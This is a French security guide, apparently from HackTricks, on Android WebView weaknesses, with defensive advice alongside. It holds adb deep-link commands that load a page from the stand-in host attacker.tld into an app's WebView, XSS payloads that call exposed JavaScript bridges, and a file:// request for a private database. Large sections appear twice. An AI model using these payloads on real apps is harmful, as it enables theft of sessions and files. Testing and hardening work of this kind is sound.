# Attaques WebView

{{#include ../../banners/hacktricks-training.md}}

## Guide sur les configurations et la sécurité de WebView

### Aperçu des vulnérabilités de WebView

Un aspect critique du développement Android implique la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les pratiques de sécurité pour atténuer les risques associés à l'utilisation de WebView.

![Exemple de WebView](<../../images/image (1190).png>)

### **Accès aux fichiers dans les WebViews**

Par défaut, les WebViews permettent l'accès aux fichiers. Cette fonctionnalité est contrôlée par la méthode `setAllowFileAccess()`, disponible depuis le niveau API Android 3 (Cupcake 1.5). Les applications avec la permission **android.permission.READ_EXTERNAL_STORAGE** peuvent lire des fichiers à partir du stockage externe en utilisant un schéma d'URL de fichier (`file://path/to/file`).

#### **Fonctionnalités obsolètes : Accès universel et accès aux fichiers depuis des URL**

- **Accès universel depuis des URL de fichiers** : Cette fonctionnalité obsolète permettait des requêtes inter-origines depuis des URL de fichiers, posant un risque de sécurité significatif en raison des potentielles attaques XSS. Le paramètre par défaut est désactivé (`false`) pour les applications ciblant Android Jelly Bean et les versions plus récentes.
- Pour vérifier ce paramètre, utilisez `getAllowUniversalAccessFromFileURLs()`.
- Pour modifier ce paramètre, utilisez `setAllowUniversalAccessFromFileURLs(boolean)`.
- **Accès aux fichiers depuis des URL de fichiers** : Cette fonctionnalité, également obsolète, contrôlait l'accès au contenu d'autres URL de schéma de fichiers. Comme l'accès universel, son paramètre par défaut est désactivé pour une sécurité accrue.
- Utilisez `getAllowFileAccessFromFileURLs()` pour vérifier et `setAllowFileAccessFromFileURLs(boolean)` pour définir.

#### **Chargement sécurisé de fichiers**

Pour désactiver l'accès au système de fichiers tout en accédant aux actifs et ressources, la méthode `setAllowFileAccess()` est utilisée. Avec Android R et versions ultérieures, le paramètre par défaut est `false`.

- Vérifiez avec `getAllowFileAccess()`.
- Activez ou désactivez avec `setAllowFileAccess(boolean)`.

#### **WebViewAssetLoader**

La classe **WebViewAssetLoader** est l'approche moderne pour charger des fichiers locaux. Elle utilise des URL http(s) pour accéder aux actifs et ressources locaux, s'alignant sur la politique de même origine, facilitant ainsi la gestion de CORS.

### loadUrl

C'est une fonction courante utilisée pour charger des URL arbitraires dans un webview :
```java
webview.loadUrl("<url here>")
```
Bien sûr, un attaquant potentiel ne devrait jamais être en mesure de **contrôler l'URL** qu'une application va charger.

### **Gestion de JavaScript et du schéma Intent**

- **JavaScript** : Désactivé par défaut dans les WebViews, il peut être activé via `setJavaScriptEnabled()`. La prudence est de mise car activer JavaScript sans protections appropriées peut introduire des vulnérabilités de sécurité.
- **Schéma Intent** : Les WebViews peuvent gérer le schéma `intent`, ce qui peut conduire à des exploits s'il n'est pas géré avec soin. Une vulnérabilité d'exemple impliquait un paramètre WebView exposé "support_url" qui pouvait être exploité pour exécuter des attaques de cross-site scripting (XSS).

![Vulnerable WebView](<../../images/image (1191).png>)

Exemple d'exploitation utilisant adb :
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
```
### Javascript Bridge

Une fonctionnalité est fournie par Android qui permet à **JavaScript** dans un WebView d'invoquer des **fonctions d'application Android natives**. Cela est réalisé en utilisant la méthode `addJavascriptInterface`, qui intègre JavaScript avec les fonctionnalités natives d'Android, appelée un _WebView JavaScript bridge_. Une prudence est conseillée car cette méthode permet à toutes les pages dans le WebView d'accéder à l'objet JavaScript Interface enregistré, posant un risque de sécurité si des informations sensibles sont exposées à travers ces interfaces.

- **Une extrême prudence est requise** pour les applications ciblant les versions Android inférieures à 4.2 en raison d'une vulnérabilité permettant l'exécution de code à distance via du JavaScript malveillant, exploitant la réflexion.

#### Implementing a JavaScript Bridge

- **Les interfaces JavaScript** peuvent interagir avec le code natif, comme le montrent les exemples où une méthode de classe est exposée à JavaScript :
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
- Le pont JavaScript est activé en ajoutant une interface au WebView :
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
```
- L'exploitation potentielle via JavaScript, par exemple, via une attaque XSS, permet d'appeler des méthodes Java exposées :
```html
<script>
alert(javascriptBridge.getSecret())
</script>
```
- Pour atténuer les risques, **limitez l'utilisation du pont JavaScript** au code expédié avec l'APK et empêchez le chargement de JavaScript à partir de sources distantes. Pour les appareils plus anciens, définissez le niveau API minimum à 17.

### Exécution de Code à Distance Basée sur la Réflexion (RCE)

- Une méthode documentée permet d'atteindre la RCE par réflexion en exécutant une charge utile spécifique. Cependant, l'annotation `@JavascriptInterface` empêche l'accès non autorisé aux méthodes, limitant ainsi la surface d'attaque.

### Débogage à Distance

- Le **débogage à distance** est possible avec **Chrome Developer Tools**, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu WebView.

#### Activation du Débogage à Distance

- Le débogage à distance peut être activé pour tous les WebViews au sein d'une application en :
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
- Pour activer le débogage de manière conditionnelle en fonction de l'état débogable de l'application :
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Exfiltrer des fichiers arbitraires

- Démonstration de l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest :
```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
```
# Attaques WebView

## Guide sur les configurations et la sécurité de WebView

### Aperçu des vulnérabilités de WebView

Un aspect critique du développement Android implique la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les pratiques de sécurité pour atténuer les risques associés à l'utilisation de WebView.

![Exemple de WebView](<../../images/image (1190).png>)

### **Accès aux fichiers dans les WebViews**

Par défaut, les WebViews permettent l'accès aux fichiers. Cette fonctionnalité est contrôlée par la méthode `setAllowFileAccess()`, disponible depuis le niveau API Android 3 (Cupcake 1.5). Les applications avec la permission **android.permission.READ_EXTERNAL_STORAGE** peuvent lire des fichiers à partir du stockage externe en utilisant un schéma d'URL de fichier (`file://path/to/file`).

#### **Fonctionnalités obsolètes : Accès universel et accès aux fichiers depuis des URL**

- **Accès universel depuis des URL de fichiers** : Cette fonctionnalité obsolète permettait des requêtes inter-origines depuis des URL de fichiers, posant un risque de sécurité significatif en raison des attaques XSS potentielles. Le paramètre par défaut est désactivé (`false`) pour les applications ciblant Android Jelly Bean et les versions ultérieures.
- Pour vérifier ce paramètre, utilisez `getAllowUniversalAccessFromFileURLs()`.
- Pour modifier ce paramètre, utilisez `setAllowUniversalAccessFromFileURLs(boolean)`.
- **Accès aux fichiers depuis des URL de fichiers** : Cette fonctionnalité, également obsolète, contrôlait l'accès au contenu d'autres URL de schéma de fichiers. Comme l'accès universel, son paramètre par défaut est désactivé pour une sécurité accrue.
- Utilisez `getAllowFileAccessFromFileURLs()` pour vérifier et `setAllowFileAccessFromFileURLs(boolean)` pour définir.

#### **Chargement sécurisé de fichiers**

Pour désactiver l'accès au système de fichiers tout en accédant aux actifs et ressources, la méthode `setAllowFileAccess()` est utilisée. Avec Android R et versions ultérieures, le paramètre par défaut est `false`.

- Vérifiez avec `getAllowFileAccess()`.
- Activez ou désactivez avec `setAllowFileAccess(boolean)`.

#### **WebViewAssetLoader**

La classe **WebViewAssetLoader** est l'approche moderne pour charger des fichiers locaux. Elle utilise des URL http(s) pour accéder aux actifs et ressources locaux, s'alignant sur la politique de même origine, facilitant ainsi la gestion CORS.

### loadUrl

C'est une fonction courante utilisée pour charger des URL arbitraires dans un webview :
```java
webview.loadUrl("<url here>")
```
Bien sûr, un attaquant potentiel ne devrait jamais être en mesure de **contrôler l'URL** qu'une application va charger.

### Deep-linking dans WebView interne (schéma personnalisé → WebView sink)

De nombreuses applications enregistrent des schémas/chemins personnalisés qui dirigent une URL fournie par l'utilisateur vers un WebView intégré à l'application. Si le lien profond est exporté (VIEW + BROWSABLE), un attaquant peut forcer l'application à rendre un contenu distant arbitraire à l'intérieur de son contexte WebView.

Modèle de manifeste typique (simplifié) :
```xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
```
Flux de code commun (simplifié) :
```java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
```
Modèle d'attaque et PoC via adb :
```bash
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impact : la page distante s'exécute dans le contexte de l'application WebView (cookies/session du profil WebView de l'application, accès à tout @JavascriptInterface exposé, accès potentiel à content:// et file:// selon les paramètres).

Conseils de chasse :
- Grep des sources décompilées pour `getQueryParameter("url")`, `loadUrl(`, des sinks WebView, et des gestionnaires de deep-link (`onCreate/onNewIntent`).
- Examinez le manifeste pour les filtres VIEW+BROWSABLE et les schémas/hôtes personnalisés qui correspondent à des activités qui démarrent ensuite un WebView.
- Vérifiez s'il existe plusieurs chemins de deep-link (par exemple, un chemin "navigateur externe" contre un chemin "webview interne") et préférez celui qui s'affiche à l'intérieur de l'application.

### Activation de JavaScript avant vérification (bug d'ordre de vérification)

Une erreur de durcissement fréquente consiste à activer JavaScript ou à configurer des paramètres WebView assouplis avant que la liste blanche finale/la vérification de l'URL cible ne soit terminée. Si la vérification est incohérente entre les helpers ou se produit trop tard, un lien profond d'attaquant peut atteindre un état où :

1) Les paramètres WebView s'appliquent (par exemple, `setJavaScriptEnabled(true)`), et
2) L'URL non fiable est chargée avec JavaScript activé.

Modèle de bug (pseudocode) :
```java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());
```
Pourquoi c'est exploitable
- Normalisation incohérente : les helpers divisent/reconstruisent l'URL différemment de la vérification finale, créant des incohérences qu'une URL malveillante peut exploiter.
- Pipeline désordonné : activer JS à l'étape 2 s'applique globalement à l'instance WebView, affectant le chargement final même si la vérification échoue par la suite.

Comment tester
- Créez des charges utiles de deep-link qui passent les vérifications initiales et atteignent le site de configuration WebView.
- Utilisez adb pour déclencher des intents VIEW implicites livrant un paramètre `url=` contrôlé par vous :
```bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Si l'exploitation réussit, votre payload exécute JavaScript dans le WebView de l'application. De là, recherchez des ponts exposés :
```html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
```
Directives défensives
- Canonicalisez une fois ; validez strictement contre une seule source de vérité (schéma/hôte/chemin/requête).
- N'appelez `setJavaScriptEnabled(true)` qu'après que tous les contrôles de liste blanche aient réussi et juste avant de charger du contenu de confiance.
- Évitez d'exposer `@JavascriptInterface` à des origines non fiables ; préférez le contrôle par origine.
- Envisagez des instances par WebView pour le contenu de confiance par rapport au contenu non fiable, avec JS désactivé par défaut.

### **Gestion de JavaScript et des schémas d'intention**

- **JavaScript** : Désactivé par défaut dans les WebViews, il peut être activé via `setJavaScriptEnabled()`. La prudence est de mise car activer JavaScript sans protections appropriées peut introduire des vulnérabilités de sécurité.
- **Schéma d'intention** : Les WebViews peuvent gérer le schéma `intent`, ce qui peut conduire à des exploits s'il n'est pas géré avec soin. Une vulnérabilité d'exemple impliquait un paramètre WebView exposé "support_url" qui pouvait être exploité pour exécuter des attaques de cross-site scripting (XSS).

![Vulnerable WebView](<../../images/image (1191).png>)

Exemple d'exploitation utilisant adb :
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
```
### Javascript Bridge

Une fonctionnalité est fournie par Android qui permet à **JavaScript** dans un WebView d'invoquer des **fonctions d'application Android natives**. Cela est réalisé en utilisant la méthode `addJavascriptInterface`, qui intègre JavaScript avec les fonctionnalités natives d'Android, appelée un _WebView JavaScript bridge_. Une prudence est conseillée car cette méthode permet à toutes les pages dans le WebView d'accéder à l'objet JavaScript Interface enregistré, posant un risque de sécurité si des informations sensibles sont exposées à travers ces interfaces.

- **Une extrême prudence est requise** pour les applications ciblant les versions Android inférieures à 4.2 en raison d'une vulnérabilité permettant l'exécution de code à distance via du JavaScript malveillant, exploitant la réflexion.

#### Implementing a JavaScript Bridge

- **Les interfaces JavaScript** peuvent interagir avec le code natif, comme le montrent les exemples où une méthode de classe est exposée à JavaScript :
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
- JavaScript Bridge est activé en ajoutant une interface au WebView :
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
```
- L'exploitation potentielle via JavaScript, par exemple, via une attaque XSS, permet d'appeler des méthodes Java exposées :
```html
<script>
alert(javascriptBridge.getSecret())
</script>
```
- Pour atténuer les risques, **limitez l'utilisation du pont JavaScript** au code expédié avec l'APK et empêchez le chargement de JavaScript à partir de sources distantes. Pour les appareils plus anciens, définissez le niveau API minimum à 17.

### Exécution de Code à Distance Basée sur la Réflexion (RCE)

- Une méthode documentée permet d'atteindre la RCE par réflexion en exécutant une charge utile spécifique. Cependant, l'annotation `@JavascriptInterface` empêche l'accès non autorisé aux méthodes, limitant ainsi la surface d'attaque.

### Débogage à Distance

- Le **débogage à distance** est possible avec **Chrome Developer Tools**, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu WebView.

#### Activation du Débogage à Distance

- Le débogage à distance peut être activé pour tous les WebViews au sein d'une application en :
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
- Pour activer le débogage de manière conditionnelle en fonction de l'état débogable de l'application :
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Exfiltrer des fichiers arbitraires

- Démonstration de l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest :
```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
```
## Références

- [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
- [WheresMyBrowser.Android (demo app)](https://github.com/authenticationfailure/WheresMyBrowser.Android)
- [Android WebView reference](https://developer.android.com/reference/android/webkit/WebView)
- [Deep Links & WebViews Exploitations – Part II](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
- [Deep Links & WebViews Exploitations – Part I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)

{{#include ../../banners/hacktricks-training.md}}